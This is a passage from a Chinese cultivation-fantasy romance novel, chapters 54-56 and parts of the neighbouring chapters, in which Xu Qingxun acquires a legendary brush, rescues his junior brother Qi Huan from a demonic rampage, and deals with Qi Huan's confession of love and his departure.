“出去逛逛吧,之前中途被他带回来,还没了解多少。”他轻叹一声,随后消去了身影。 “止戈”区域内,许多修士出来走动,或交流情报,或交换物资,当然,不是所有人都是人,有一些其实是投影,又或者说npc? 许清浔变化成一名普通青年的模样,走到了人流最大的街头,到处人声鼎沸,有人吆喝着卖法,称那是什么古迹得来的上古经书。 他扫了一眼,忽然想起来,原著里有几个隐藏身份到最后才冒出来的混沌古经修炼者。 猥琐发育果真才是存活之道啊。 不过,绕是许清浔有心找他们,也无法通过原著有限的线索寻人。再者说,找到了又如何,收作小弟?这倒是好主意,小弟谁嫌少?啊,师弟怕是会不开心。 他的好师弟好像越来越不喜欢他收小弟了。明明那是对他们来说都有益的事…… 许清浔愁眉,仿佛察觉到什么,抬头朝右前方看去。 “在下的法符包比万法强的,价格公道,童叟无欺!” 一个瘦小黝黑的男人大声吆喝,脸很圆,笑容很有感染力,可惜没人理会他,更有甚者嘘了他一声。 “比万法还强?那你不就成了万法吗,还需要出来卖符?招摇撞骗!” 圆脸男人不好意思地摸了摸头,诚恳地解释道:“在下强于炼符,但不强于用符啊,万法的强大更多在于后者!” 周围人嗤笑,其中一人抱剑走来,冷道:“用符能有什么门道?众所周知,万法的强大,在于他的法符强过一般法符十倍!” 圆脸男人俯首,“是是,您说的对,是在下狂妄了,竟敢自比万法道友。” “哼,知道就好!” 众人于是散去,不予理会。 而等他们走了之后,许清浔走到了店铺前。 他心中诧异,因为这个看似平平无奇的人,居然说中了他的秘密之一。符修并非主流的强力修士,专修符的人十分稀少,因此许多关于符修的隐秘,鲜少有人知道,就比如——用符比炼符重要。 “道友,你方才之见,我甚是好奇,可以详细说说吗。我可以买下你所有的法符。” 许清浔开门见山,直接好处给到位。 圆脸男人一听便露出笑容,抬头道:“好啊,在下名为陈尘,阁下是?” 许清浔微微一笑,“祁许。” 陈尘眼里闪过了一丝意外,感慨道:“祁许?祈求应许?好名字!” 许清浔呆了一下,回归主题,“所以,道友如何知道万法强于用符?” 陈尘指了指自己的眼睛。 那是一双棕黑的眸子,颜色不算好看,但十分通透。 “自然是看出来的,用这双肉眼。”陈尘笑了笑,“万法虽然大显于世,仿佛一切都在人前,但世人对他的了解还远远不够,比如他喜欢用法符的数量碾压敌人,以掩盖他真正的杀手锏——以阵御符,以最少的符数,组成最强大的进攻手段。” 许清浔点点头,“有意思,再说说。” “他的阵法造诣绝对不比符法低,两者结合,最是恐怖,而阵法强大,意味着什么?他的魂法也必然强大!” 陈尘说到激动处,双眸熠熠生辉。 许清浔微眯眼,又问:“话说回来,阁下又如何知道,阁下的法符强过他?” 陈尘面露尴尬,似乎有些不好意思,考虑到许清浔买了他所有的法符,他心思转动,一咬牙,传念道:“其实是因为在下有一件秘宝,虽残缺,但效果极强!画出的法符效果远胜过个人炼制,来历也绝对非同寻常。” 许清浔一愣,“你将此事告诉我,不怕我当场杀你夺宝?” 陈尘骇然,“怕,但在下不才,别的不行,但逃跑这一块,在下这一代鲜有敌手。” 许清浔当即想到了一个人,原著中有个无名背景板的人物逃跑賊厉害,每次祁桓暴走大屠杀,他都能侥幸逃跑,敢情就是眼前这个家伙,无名的遁法第一人? “总之,法符这一块并非在下专长,在下也懒得天天画,若是阁下手中有足够的灵石,或是有我非常想要的东西,我们可以交换?”陈尘憨厚一笑,看不出丝毫的虚假。 许清浔看着他的眼睛,“那便借一步说话。” 大约半个时辰后,客栈楼下,陈尘挥手道:“多谢祁道友,有缘再见啊!” 许清浔目光送别,心里还在想着到手的法宝——乾坤笔。 天知道他表面平静,内心的波澜有多汹涌,那可是乾坤笔啊,大法宝中的大法宝,超越圣品,堪比仙品,却被陈尘以为是残缺的天品法宝! 好在他成功装住了,以一件陈尘需要的残缺天品法宝成功换到了手,哈哈,我就说出门才会有收获吧? 乾坤笔在上古损毁过,但它这种品级的东西,只要吃到足够的材料,就能自己复原。它的强大之处无须过分言说,能够冠以“乾坤”之名的都是大法宝!尤其是对于符修来说,上古有个符修得到它,险些统治九界,证道成仙,你说厉不厉害? 许清浔平静内心,不过分喜形于色,他特地绕了几圈,额外买了一些东西才走。 回到法府后,他立刻迫不及待地取出乾坤笔,开始仔细研究! 他并不知道,他才离开不久,有个男人悄无声息地出现在那间客栈楼下,神色平静,眉头却微微皱起。 良久的沉默之后,他似乎在抱怨什么,表情阴晴不定。 他的师兄喜欢女人,却更吸引男人。不过…… “祁许吗。” 他唇线上扬,似乎非常满意这个“名字”。 次日,法府内全是法符,大部分堆在地面,少部份漂浮在空中,金纸红字,偶尔闪烁雷光。 黑衣修士回家,沉默地看了一周,随后径直走到里面的修炼室,垂眸,停下脚步,屈膝半跪,双手伸入法符堆,将埋藏其中的心爱之人抱了起来。 动作熟练得,仿佛不是第一次。 青衣修士眼睫微动,缓缓地睁开眼帘,声音慵懒地问:“师弟?你回来了啊。” “嗯,这些法符是?” 祁桓显然看出了法符的品质飞跃。 “容我慢慢说明!” 三刻钟后,法府内飘逸着茶香。 “总之,事情就是如此,是不是很羡慕师兄呀?” “倒没有,只是,你身体好了吗。” “还好还好!” 谈完修炼之事,气氛微妙地沉了下来。 祁桓一言不发,缓缓地擦拭着手中的长刀。 许清浔想起了分别前的那段对话,面色微变,不知怎么说才好,他艰难地鼓起了勇气,但由于过分紧张,说出的话超出了预想。 “师弟,那个啥,其实我、我也不喜欢女人!” 祁桓瞳孔一震,险些握碎了手中的刀。 第54章 第五十四章 别憋着好吗! 许清浔痛咬舌头, 意识到自己说错了话,面色刹时精彩万分,连忙解释道:“啊,我不是那个意思, 我是说, 嗯……不管男人女人, 不对,我、我是正常男人!” 祁桓握刀的手紧了紧,面色瞬间沉了下去,并未回答许清浔。 空气又变微妙了。 许清浔十分心虚, 低头不敢说话, 虽然他也不明白, 他为何要对祁桓感到心虚。明明……他也没做错什么事吧。 片刻之后, 祁桓突然起身,径直走回了修炼室,一个字都没说。 “……” 许清浔低眸,视线扫过满地的法符, 还有自己道袍上夹带的,一阵愁眉苦脸。 “若是……那又该如何。”他从未如此混乱过,怕自己自作多情,又或是……单纯地,不想面对这件事。 还是,先修炼吧, 上次被重创,虽说是情急之下,顾不得其他,但也说明了自己尚有许多不足。唯有修炼, 唯有变得更强,才能立于不败之地,完成他来到这里的“那个目的”。 “抱歉啊师弟,容我再想想,再考虑一会。好吗。” 许清浔低声地询问,目光温柔若水。 可惜,前方不会有回应。 不久,散乱的法符尽收袖底,法府之内归于安寂。 一个月后,莲花洞天内爆发了一场大屠杀,无数高手参战,大斗法持续了三天三夜,死伤者堆积如山,血流成河。 大战爆发过后,散乱的灵力形成了一场大风暴,裹挟残余的神通之力席卷了大片地域,引起更加惨烈的大破坏。 被誉为侠剑的修士停落在长空,许久不语。忽然,她仿佛察觉到了什么,转瞬消去了身形。 被誉为一刀的修士现身,他体形高大,比寻常成年男子还要高上一倍,身后背负着数柄杀气赫赫的长刀。 “真是一场惊世骇俗的大斗,万法明知他们埋伏,却还是来应战。” “……说明他真的需要那个大造化。” 空中突然显现出另一道身影,她被誉为无形,最是神出鬼没。 “那个大造化,是‘莲心’碎片吧?虽说品级高达天品,可冲圣品,但万法手中应该不缺这种层次的法宝。” 谷一刀粗中有细,尝试分析。 翡无摇了摇头,“不知,但这一战过后,谁还敢挑战他?” 谷一刀神色认真,“总有人觉得他出身玄界,又是符修,弱点必定很多,不可能有称霸九界大炼之姿,但事实证明大错特错,能以符修的身份大行于世的,绝不是一般人,并非能用人海战术活活耗死的。” 又有一人出现,接话道:“都以为只要耗尽他的法符就完事了,但谁能想到,他还能现场炼制?” 谷一刀和翡无同时转头,看着被誉为金刚的男子。此人被认为是当代防御第一的高手,至今无人能破开他的神通防御,更别说他强大的肉身防御。 谷一刀眯了眯眼,“居然连你都出现了。” “霸世的‘十人’之中,已经大半现身了,怎么能少了我。”金刚大方一笑,坦坦荡荡。 翡无点头,“那场大斗法里,万法、屠夫、六欲、不死先后参战,刚刚侠剑来过,加上我们三人,八个人都出现了。” 金刚摇头,目光望向更远处,“另外两个不也在吗。” 翡无和谷一刀同时一愣,抬头看向远处。 两道笑声先后传来,分别属于流云、疯子。流云笑得克制,疯子笑得放肆,一人紫衣白发,一人红衣黑发。 三人对视两人,一方静默,一方张扬。片刻后,杀气蔓延开来。 流云、疯子这两人,与谷一刀、翡无、金刚三人都有仇,且都是必杀之仇,五人同在一处,当然剑拔弩张。 “尔等真是可笑,那样一个大好时机,居然袖手旁观,不趁机杀了万法和屠夫。”流云笑停了,满眼鄙夷,若非她与疯子闭关修炼去了,必定强势出手,趁大好机会杀了万法和屠夫。 谷一刀冷笑,“我等行事关你等屁事,滚!卑鄙无耻的宵小。” 金刚怒目而视,双拳裹着金光,仿佛随时有可能出手。 翡无身躯若隐若现,显然神通已经发动了。 疯子挑眉,站前一步,道袍随风猎猎作响,下巴高高抬起,高傲之姿尽显。 流云眯了眯眼,似乎也要动手,但忽然间笑了笑,抬手拦住疯子,“罢了,我们迟早会打一场,但不是此时此地。” 疯子皱眉扫了她一眼。 流云眼里闪过一道厉光,疯子似有所想,后退了一步,好像同意了。 他们正欲离开,谷一刀忽然笑了,拔刀道:“这就想走?” 疯子大怒,“不然?” “留下吧。”翡无突然开口。 流云面色顿变,道袍翻飞如云。 金刚大笑,赫然爆发灵力,金色的符文笼罩了整个上空。 片刻后,此处又发生了一起大战。围观者无不逃离,唯恐牵扯其中。 “这场龙争虎斗越来越激烈了。” “到底最终会鹿死谁手?” 远处,迷雾森林中,无形的法符制御了整个空间。 “师弟、师弟!听得见我的声音吗?” 许清浔着急,却无计可施,只能守望在外面。 何谓“外面”,指的自然是血茧之外。他的面前有一个巨大的、如若心脏般的血茧,它漫溢着浓郁的血气,疯狂侵蚀外界,甚至随着鼓动不断地强化。 他的师弟几天前受了重伤,说要自己调息治疗,便将自关在修炼室里,可突然间血茧爆发,席卷了整个法府……这到底是怎么回事? 许清浔尝试了无数方法,始终无法影响血茧,仿佛是祁桓本人在抗拒他。 为何?可以想到的可能性太多了,是因为他跟李梦好多说了一句话?还是他收了姬舞明一件法宝?明明都是非常正常的事情,也没什么接触啊,对方却总是……不太高兴。 不高兴,也罢了,还始终不肯说出理由,就闷着,大闷葫芦,导致他问也不是,不问也不是,纠结犹豫之时,敌人来了,他们跟敌人打了一架,天翻地覆,很是惨烈。 “你分明可以躲开的,当时为何走神了?因为担心我?你小子真是!” 许清浔面色变了又变,或许他更应该关心的是,血茧漫溢而出的血气之中为何参杂着魔气,又或者,对方到底瞒着他修炼了什么,是不是……《灭世魔经》。 但事实摆在眼前,他根本没有质疑的空间了。 是的,师弟一直在修炼《灭世魔经》,就在他的眼皮子底下,以魔经的隐匿法成功隐藏住了灵息,而魔人分身也一直存在,搞不好这八九年来,一直都没有中断过。 “怎会如此……” 许清浔神色凝重,冷汗已经湿透了后背,怪自己的粗心大意、毫无察觉,居然让重要的人在歪路上越走越偏。 可是,他又想起,祁桓曾经跟他说过,无论修炼什么经,重要的是人,或许祁桓没有走歪路的打算,只是单纯地修炼了一门经书而已呢。 敌人之中就有修炼混沌古经的,你没有这个层次的法,如何能赢?师弟并非误入歧途,只是……想要力量而已。 如此一想,许清浔心情放松了一些,虽然还是无法掉以轻心。 “我该怎么办。”他眉峰皱起,紧盯着愈发膨胀的血茧。此时空气已经被魔气侵蚀,空间也逐渐扭曲错乱,祁桓至为霸道的神通隐隐有了暴走的迹象,血茧之外血线纵横,血液顺着血线滴落,让红与黑支配了整个空间, 祁桓的本命神通,唯有他最清楚。 其品级无法评估,涉及到规则,乃至因果,效用无非是一个,杀。或者说,屠戮生命,毁灭存在。其本命神通一旦使用必须死人,否则就会反噬自身。 原著中,祁桓多次神通暴走到处屠戮,他自己完全控制不住,有时候没有意识,有时候意识清醒,看着自己亲手杀死成千上万的无辜之人。 “……已经到这个地步了吗。” 许清浔心情沉重,他身前展开着十层法符,其中最外的一层已经被魔气侵蚀,符文扭曲黑化,乃至溶解。倒数第二层法符雷光闪烁,威慑无比,却依然抵挡不住侵蚀。 自家师弟最厌恶不受控制的暴走,可是他的神通、他的法……好似注定了一样,逼得他必须背负无数人命才能前行。 这样下去,此地的阵法又能坚持多久?或许,唯一的方法是离开,放任对方发泄,然后再来收拾残局。 也就是——袖手旁观。 许清浔沉默了,眼看着法符一个个湮灭,而血茧继续狰狞膨胀,笼罩了四面八方。 自己要么走,要么…… “天雷符还有很多,我怕你这一暴走,搞不好会躲起来,再也不敢见我。毕竟……你心思细,胆子又小,虽然总是一副冰冷酷哥的样子。” 他碎碎念了一会,眼神逐渐坚定,抬头正视前方,毅然踏进了魔气领域。 法符盛放出金色的炽烈光芒,与对面的杀戮神通激烈对抗,甚至一度压制了对方,强行开辟出了一条路。 紧接着,血茧被雷光撕裂,露出纵横交错的血丝,颇像怪物的血盆大口,仿佛他一旦走进去,就必定被吃得尸骨无存。 可是,那又如何。 区区师弟,若是他都不能搞定,他还是祁桓的师兄吗? 许清浔笑着迈入其中,当即道基一震,身形晃了一晃,天魔池的那种感觉又来了,天旋地转,道心震悚。 他抬头一看,果然前方纵横密布着上古魔文。 那是《灭世魔经》,他认出来了,并且猜测此时此刻,经魔肯定也在,不知在哪里观察着他。 他若阻止祁桓,那定对经魔不利。所以,经魔肯定会出手对付他。 许清浔心思万转,果不其然,前面的魔文翻涌如浪,顿时化作飞剑杀向了他。而他双手展开无数法符,天雷之力赫然显现,爆射的箭雨般冲向了魔文。 轰!前方突然一阵强光,伴随着地动山摇。 许清浔不认为经魔那么好对付,但他只需打开一条路就行了。 果然,就是现在! 古经的主人之外,无人听得见古经的声音。 许清浔刚走,便有一道好奇的声音低语:“他为何仿佛什么都知道?嗯……莫非早就知道我在那小子身上了?打从一开始?” 经魔一愣,随后露出不可思议的神色,“若是如此,那事情可就好玩了。”它低声嗤笑。 血茧继续被强行打开,雷光强势地镇压一切魔邪,虽然越往深处越难走,但许清浔能感觉到,祁桓就在前面不远了。 好在,他为了以防万一,炼了成千上万的五雷镇邪符,否则恐怕来不到这里。 许清浔深吸了一口气,正欲继续前行,杀戮神通突然显现,他虽然及时避开,但发丝被斩断了几根,道袍上也多了一道斩痕,还好,道体没有伤到,只是被划了一道血线。 许清浔神念一变,献祭出几道万影替身符,让杀戮神通瞬间杀了成千上万的生命,强行喂饱了杀戮神通。 再然后,他挥剑劈开血茧,终于走到了一切的源头。 男人浑身上下皆被血线缠绕,腰腹以下沉入了血线之中,体肤因为魔气侵蚀,全然变了颜色,以前是健康的小麦色,现在成了深海般的黑色。 虽然这么说有些不合时宜,但黑肤的师弟……也别有一种美感,如艺术品般典雅、静美。 许清浔顿了顿,心跳忽地加快。 只见,男人眼帘低垂,眸子似乎无神,看不出丝毫的意识。 直到许清浔走近,他才终于有了动静,缓缓地抬起眸,难以置信地看着青衣修士,声音低沉而沙哑:“师兄……” “臭小子,瞒着我修炼魔经,你还真有本事啊!” 许清浔勃然大怒,当即出现在祁桓面前,双手捧起了对方的脸,强势要求这个不听话的男人只能看着他的眼睛。 祁桓浑身一颤,似乎终于回过了神。 纸包不住火,或许他早该知道会有这一天,师兄会知道,他瞒着师兄修魔。 而许清浔皱了皱眉,声音转变温和,“好吧,我知道你有苦衷,你不是故意,你会控制住的,对吗?” 祁桓瞳孔微缩,认真地点了点头,承诺道:“嗯,我会的。” “那你……走得出来吗?”许清浔低眸,担心地看着祁桓浑身缠绕的血丝血线。 它们其实是祁桓的神通之力所化,祁桓神通爆发时,它们会无形地支配周身空间,只有暴走时才会变成血色,颜色越深越凶险。 祁桓目光垂落,面露歉色,摇头道:“暂时……没有力气。” 许清浔轻笑一声,“那我来背你吧。” 片刻之后,血线逐渐崩解,神通与魔文都在消退。 两人皆沉默,各有心思,各有顾虑。 许清浔在回忆,心绪杂乱,不知从何说起。 忽然,祁桓开口,心跳怦然加快,“师兄,我……有一件事想告诉你。” 许清浔面色惊变,他背负着人,怎会不知对方此时加快的心跳,以及上升的体温。他似乎意识到了什么,紧张得险些窒息。师弟,不、不会要现在说吧! 可是,祁桓说完,停顿了好一会,不知在想什么,没有继续往下说。 许清浔的内心简直天翻地覆,他都想开口追问了,你小子到底要说啥,别憋着好吗! “师弟,你想告诉我什么?”他实在忍不住了,将人放在床上,立马转身面对,神色十分严肃。 祁桓此时魔气消退,肤色也恢复了正常,只是脸色较为苍白,看起来十分虚弱。 也十分……惹人怜爱。 许清浔仿佛心跳漏了一拍,终于忍不住鼓起勇气,“好好,我知道你喜欢我了,你这男人,暗恋不告白,不憋得慌吗?” 祁桓一愣,深色的双眸中写满了惊愕。 “你、你干嘛是这个反应啊,我不会猜错了吧!” 许清浔大惊,老脸刷地烧红,立刻低下了头,尴尬得恨不得找个地缝钻进去。 第55章 第五十五章 我明明……也可以让你舒服…… 喂喂, 你倒是回答啊,哥不要面子啊。许清浔内心七上八下,从未如此焦急过。 以他的年龄、经历、见识,很难察觉不了祁桓的异常, 亦或者说, 那不是异常, 而是极正常的……十分常见的暗恋情节! 他一接触其他人时,这个男人的脸色就会肉眼可见地变差,起初他还以为是闹别扭,是师弟对师兄的占有欲作祟, 但后来越来越感觉不对, 甚至隐约感到了危机感! 再从只言片语推论, 如果那些表现只是师弟对师兄的占有欲, 其实也说得过去,可祁桓为何会在意他喜欢男人还是女人? 这不对吧! 许清浔深吸了一口气。 他一直不敢相信,为何?因为他首先读过原著,知道祁桓绝对不是男同, 其次,祁桓也确实亲口说过不喜欢男人,虽然最近改口了。 他为何逐渐相信?其实迹象很多,比如说祁桓偶尔看过来的眼神,那种眼神很难形容,只觉得大脑轰轰的, 仿佛某个雷达激烈地响了起来,疯狂警告着危机在前,还有祁桓偶尔触碰他时的过分温柔,那也绝对不一般, 最不可思议的是,祁桓的洁癖从来没有对他发作过! 不过,相信是一回事,确信是另一回事,至今为止,都只是他的怀疑而已。如、如果是他想多了,其实师弟只是对他很好很暖很贴心,内心从来没有过那种想法呢? 许清浔的心轰了一声,相当的忐忑不安,不由自主地握紧了拳头,身体微微发抖。 “师弟,你不说些话吗?” 他终于耐不住沉默,主动开口。而他刚刚抬起头,竟见对方身体向侧倒去,双眸闭阖,险些没了生息。 他大惊,检查一看才知道,对方是神通暴走耗尽了精神力,支撑不住,所以才倒下。丹药于事无补,得靠自己恢复。 这是好事还是坏事? 许清浔傻了眼,觉得是坏事,与其要他等,还不如直截了当一点啊。 “你小子真是,什么时候能让你师兄省些心啊。”虽然他很喜欢照顾人,总是不嫌麻烦,但……也不带这样的啊。 许清浔面色精彩,沉默片刻之后,他把祁桓放好,留在祁桓的修炼室内炼制法符,就这样等着。 明明该紧张的是对方才对,为何如此啊。又或许,我其实也在期待着什么? 许清浔老脸一红,连忙转头甩开想法。 大约过了半天,透支性的法符炼制终于开始令许清浔感到吃力。他感到精神力渐渐掏空,完成最后一枚地品五雷镇邪符的炼制后,他脑子微疼,窝在桌边打了瞌睡,做了一个梦。 那是一个光怪陆离的梦,光影交错,整个世界都仿佛只由色块组成,没有一丝值得推敲的细节。 直到突然间,仿佛被什么力量定格住了,又或者说,被观测到了,世界才突然开始清晰起来,视觉饱满,五感充实。 可是,他却仿佛被捆在了哪里,四肢无法动弹,眼前模糊地走来一道男人的身影。对方浑身杀气,似乎处在暴怒的边缘,恨不得杀了他以正道心,可是掐在他脖颈的手却迟迟没有用力,仿佛有另一股力量在制衡着,男人于是更加暴怒,恐怖的灵力爆发开来,令袖袍猎猎作响,外头天地变色,电闪雷鸣,风雨交加。 他不晓得发生了什么,只知道……这应该是一场梦。 对吧? 恍惚间,突然一道叫喊声叫醒了他的意识。 他猛地睁开眼睛,男人的身影映入眼帘,没有梦中那么压迫感十足,眼里全是对他的担心,是他认识的祁桓。 “师兄,怎么了,没事吧?” “没事……”许清浔本想这么说,但他才发现,自己的后背居然湿透了。 那个梦……未免也太真实了。 “没事就好。”祁桓似乎安心了,向他点了点头。 许清浔这才知道,原来自己睡在了祁桓的床上,而对方此时正坐在旁边。应该是自己累倒睡着之后,对方起来将他抱到了床上。 真是周到啊。他内心一暖,可又不得不紧张起来,祁桓醒了,意味着之前那段对话…… 他当即目光闪烁,不太敢直视祁桓,但又不得不鼓起勇气,作为年上者,他理应强势一些,积极引导对方。 “我说,你还记得我那段话吗。”他抬起头,双眸明亮,径直盯着对面的黑眸。 祁桓面色微变,眼神似乎有些逃避,眼帘低垂,道:“师兄……都知道了吗。” 许清浔大惊,他想的没错,祁桓承认了! “你——” 话音未落,祁桓突然打断道:“可是,师兄为何要说出来,明明……你并不接受我的心情。” 许清浔一愣,眼里流露出几分不知所措。 看着他的反应,祁桓忽地笑了,低着眸子,“果然。师兄只想着揭开这件事,但考虑过揭开的后果吗。” 许清浔瞳孔微缩,认真道:“但我不能一直将你的心情视若无睹。师弟,究竟是什么时候开始的?” “你在意的事情只是这些吗。”祁桓表情阴郁,眼线似乎微微发红,“若你也是这份心情,你不该是这样的反应。” “我……” 许清浔的心绪瞬间搅乱。 是,说破之后呢?他是男人,对方也是,两个男人如何…… 不,问题不是性别,而是——我自己的心情。 许清浔面色一变,脑子里的弦顿时全部绷紧。 然而,看到他的反应,祁桓的眼神更加压抑,情绪再也控制不住,“你总是如此,师兄,你知道吗,你有时候看我的眼神仿佛我是一个麻烦、累赘、负担,你只是不能丢下我,才勉强把我带在身边,是吗?” 许清浔心跳险些停止,下意识道:“不是……” “当真不是?”祁桓当即打断,黑眸裹着幽冷的红光,体肤又有转黑的迹象,好似下一刻就要暴走。 而许清浔竟然无法全然否定,因为他带祁桓在身边,确实有那个目的。他要看管着祁桓,以免祁桓走歪,变成原著那个灭世变态。 见他无法否定,祁桓眼里闪过一丝沉痛,竟又笑了起来,“师兄对我如此多隐瞒,而我却还是爱上了你,你是不是觉得……这很可笑?” “没有。”许清浔连忙否定,急道:“我……只是有我的使命,从没想过戏弄你。” “真的没有吗。”祁桓抬声质问,双眸竟映着魔纹,“初见我的那些天,你对我当真没有故意戏弄?” 许清浔面色一白,他确实故意调戏对方,说过很多不太正经的话,甚至做过一些不太好的事。 “但是我……没有想过故意害你。” “是,你是没有想过,但现在再看呢?” 男人的声音变得强硬,裹带着压不住的怒火。 许清浔心乱了,从未如此混乱过,他看着对方的眼里充满了真诚,几乎要将自己的底细交代出来。 “……无论如何,我们依然是生死与共的师兄弟。对不对?” “可我要的不是师兄弟啊!” 男人突然暴怒,暴烈的灵气随之爆发,杀戮神通再次压抑不住的暴走,凶煞的血线刹时弥漫了整个空间。 许清浔浑身一凛,脑内警钟大响,对方的杀戮神通幻化而成的血线密布于他周身,甚至他脖颈前就有数条,他一旦轻举妄动,对方的神通就能立刻切碎他。 男人不知何时站起了身,与他正面相视。黑发散落,掩住了双眸的神采,只看得见一片不祥的血光。他的情绪估计激烈到了一种极致,却强行用理性压制着,表现出一种诡异的平静。 只见,他注视着许清浔,缓而低沉地说:“师兄……这其实不是你的错,是我的错,暂时就这样吧,现在的我无法与你心平气和地聊这件事。所以,暂时分开一段时间吧。” 闻言,许清浔终于急了,不顾神通的阻隔冲上前,“等等,我们好好聊聊——” “师兄珍重。” 话音未落,法府的血光一瞬消失,杀戮神通的血线也荡然无存,任何东西都没有留下。 许清浔原地错愕,良久才一条条地理好思绪。 师弟是气跑了吗。 因为他的种种劣迹。 因为他隐瞒了极重要的事。 亦或是众多矛盾共同激化的结果,他被打得措手不及,又顾忌太多,以至于错失了解释的机会。 “可是我……真的能解释吗?” 许清浔心绪不宁,又想起了血茧中出现的魔经符文,经魔果然苏醒了,它绝对会趁此机会挑拨离间蛊惑祁桓,若是放着不管,必定会出大事。 甚至有可能,之前的所有努力都将功亏一篑。 许清浔面色顿白。这就是擅自改变故事情节、擅自改变主角的后果吗。 “我真是……太傲慢、太愚蠢,任何事情都没考虑周到。” 就在这时,一道声音突然响起, “哎,何苦自寻烦恼,那小子本就有他的命数,无论你做对了还是做错了,终究还是改变不了。” 许清浔一愣,低头往腰间看去- 与此同时的另一地,血线密布,魔气弥漫。 “……” 真是一场酣畅淋漓的失态。 没有理智,没有涵养,从始至终,只有情绪。 祁桓低眸自嘲,他看似情绪失控,其实一直都很清醒,他提那些旧事,根本不是为了追究,而是为了掩饰。 掩饰他失恋的失落、恐惧与不安,对方说那些话的时候,他根本听不进去,只知道心里某个东西正在控制不住崩坏与粉碎。 “师兄若是也心悦我,怎会是那样的反应,看不出丝毫的喜悦。” “我其实也是明白的,我怎么可能不明白?” 那些在他亲近时,对方无意识间的退缩、避让、不自在……无不说明着对方根本接受不了他,接受不了他身为男人的爱。 祁桓眸子晦暗,隐约透着凶光,“男人又如何?明明两个男人的道侣世间多的是!我们为何不行?你要的我都能给,我明明……也可以让你舒服。” 说到后面,他声音发抖,眸子蕴着几分水光,分明刚刚宛若一头暴怒的凶兽,此时却仿佛一个受伤的小动物,藏不住内里的脆弱。 若是许清浔在,八成一看心就化了,然后怜爱都不止- 几乎同时,法府内,许清浔大惊失色,“你个原始古经叽里咕噜的在说什么呢!” “谁叽里咕噜了?听不懂本经就再说一遍,不就是男人吗,你有的他都有,他有的你也有,四舍五入就是异心同体!有何不可?”古经一本正经地胡说八道。 这是什么奇葩理论,我有的他有的?都是男人那肯定啊。 许清浔脑子一抽,当即想到,可是他大啊! 第56章 第五十六章 情话天才 许清浔一惊一乍, 一日之内不知多少次情绪剧烈起伏,“等等,你个原始古经怎么突然开始说话了,不对, 你不会一直盯着看吧?” 古经闻言大怒, “血口喷经, 我才刚醒!然后又要再睡了!” 啊不是你…… 许清浔正欲追问,古经的灵力已经消失,玉简也黯淡无光,真的像睡着了。 “这都是个啥事啊。” 许清浔茫然了, 茫然到生出一股莫名的怒气, 想把一切打乱他心的事物全部一拳镇压, 可是脑子里又忽然跳出祁桓的脸…… 拳头硬了又软, 软了又硬,一言难尽。 “真是,从小就是这么变扭的性格,这世上除了我, 谁受得了你?再说了,喜欢一个人就正大光明地喜欢啊,不告白,不追求,难道就指望别人自己察觉到?” 我勒个大笨蛋师弟! 许清浔发泄完后,其实心里十分理解。因为跟满脑子现代思想的自己不同, 祁桓是个古人中的古人! 小时候满脑子圣贤书,长大后满脑子杀杀杀,从小到大都是呆子!这样的男人,你指望他天赋神通, 自己觉醒成恋爱大神? “确实不太可能……” 许清浔皱了皱眉,眼里透着几分为难,但转念一想,他又稍稍放心。 因为祁桓虽然生气,但应该还保持着理智,只是需要一些时间静静…… 不过许清浔也不明白,为何自己比祁桓还要顾虑重重? “罢了罢了,我现在反正也找不到他,不如专心修炼,争取下次一遇到那家伙就将他一把擒住,让他插翅难飞,逃不开我的手掌心,这不就得了?” 一切的问题都源于实力不足啊! 许清浔眼绽强光,内心愈发激动,当晚奋发图强疯狂修炼,法府内法符飞扬,盛放着五颜六色的光芒。 半个月后,许清浔出关,金丹大成,浑身无敌气质。他真身出动,四处行走,所到之处无不一片惊愕,有人闻风丧胆,避之不及,有人仰慕追随,疯狂献好。 “万法大哥好久不见!屠夫今日不在吗?” “怎么比起我,更想见我师弟?” “那当然不是啊,万法道友千秋万代,随手一张法符,便能杀人于千里之外,在下甚神往也!” 这个马屁拍得未免也太明显了。 可是许清浔偏偏吃这一套,闻言喜上眉梢,轻笑道:“但比起我,你们这些天没人见过我师弟吗?” 周围人一脸惊愕,谁不知道万法与屠夫情同手足,腰间佩戴着成双成对的夫妻配,双方应当最了解对方才是,怎么今日万法反而问起他们了。 许清浔眼里闪过一丝无奈,“发生了一些小事,总之告诉我吧。” 在场之人中还真的有人见过祁桓,零零散散的证词组成了一个大致的行踪图,但许清浔并不觉得那真的是祁桓的行踪。既然祁桓修魔,那么……魔人分身也肯定存在。 不过,唯一的好消息是,祁桓的神通没有暴走,否则这片“莲叶”内不知要死多少人。 “好,大致的情况我知道了,多谢诸位的情报,这些法符有需要的可以拿走。” 话音未落,青衣修士大手一挥,地品法符漫天飞舞,周围人瞬间红了眼,当即抢夺起来。 姬舞明倒是没有抢,自神通二度觉醒之后,今日的他已经今非昔比,被一众天才神人誉为“不死”,实力非同一般,不可小觑。 他看着如日中天一样的青衣修士,唇线缓缓上扬,眼里透着深深的憧憬。 也就屠夫不在,他才敢这么看,否则屠夫一道眼神扫过来,他就只能狼狈地收回视线了。 然而,就在姬舞明暗自庆幸时,那股熟悉的战栗感再次袭来,他当即毛骨悚然,难以置信地抬头一看。 果不其然,在不远处的凭栏边看到了那个熟悉的恐怖身影。 救命祁哥,我不是故意的啊! 姬舞明吓得慌忙逃命,也许他变强了很多,但祁桓曾经在他心中留下了极其深刻的心理阴影,导致他一看到祁桓就控制不住地腿软啊! 一溜烟而已,姬舞明吓得没影。 而许清浔仿佛感觉到了什么,看了一眼姬舞明方才所在的地方,又转头看向对面高楼的凭栏处。 那里,没有任何人的踪影。 “……” 许清浔皱了皱眉。片刻后,他继续正大光明地行走于各大修士城池,无人敢对他不敬。 显然,那起大斗法吓到了无数人。哪怕是昔日那些曾对他出言不逊的神子神女,此时也不得不避他锋芒,低着头不敢说话。 想当初这些人因为他的玄界出身极尽嘲讽之词,现在……只能说此一时彼一时。 许清浔若是想,当场镇压几个昔日仇敌不过是抬手之间的事,但是今日,他没有那个兴致。再者,无端欺凌弱小没有意义。 有趣的是,这番出行让他意外发现了几个在原著有头有脸的大人物,先盯一眼,未来没有坏事。 不过,真身出行还是影响力太大了,太多眼睛盯着,行动起来颇有不便,于是到了晚上,许清浔便伪装出行,打扮成了……祁桓昔日为他打扮的模样。 至于为何?许是心血来潮,许是——为了把那个暗中盯人的男人钓出来。 果不其然,他这么出来之后,那道视线便更强烈了,仿佛正在死死地盯着他,像是生怕自家妻子在外找人的妒忌狂丈夫。 这小子,说破之后反倒更肆无忌惮了。许清浔心头一跳,然而左顾右盼,又找不到人。 他有点火大了,哪有人这么暗恋的啊,哦不,已经是明恋了?虽然人不知道躲在哪里偷盯…… 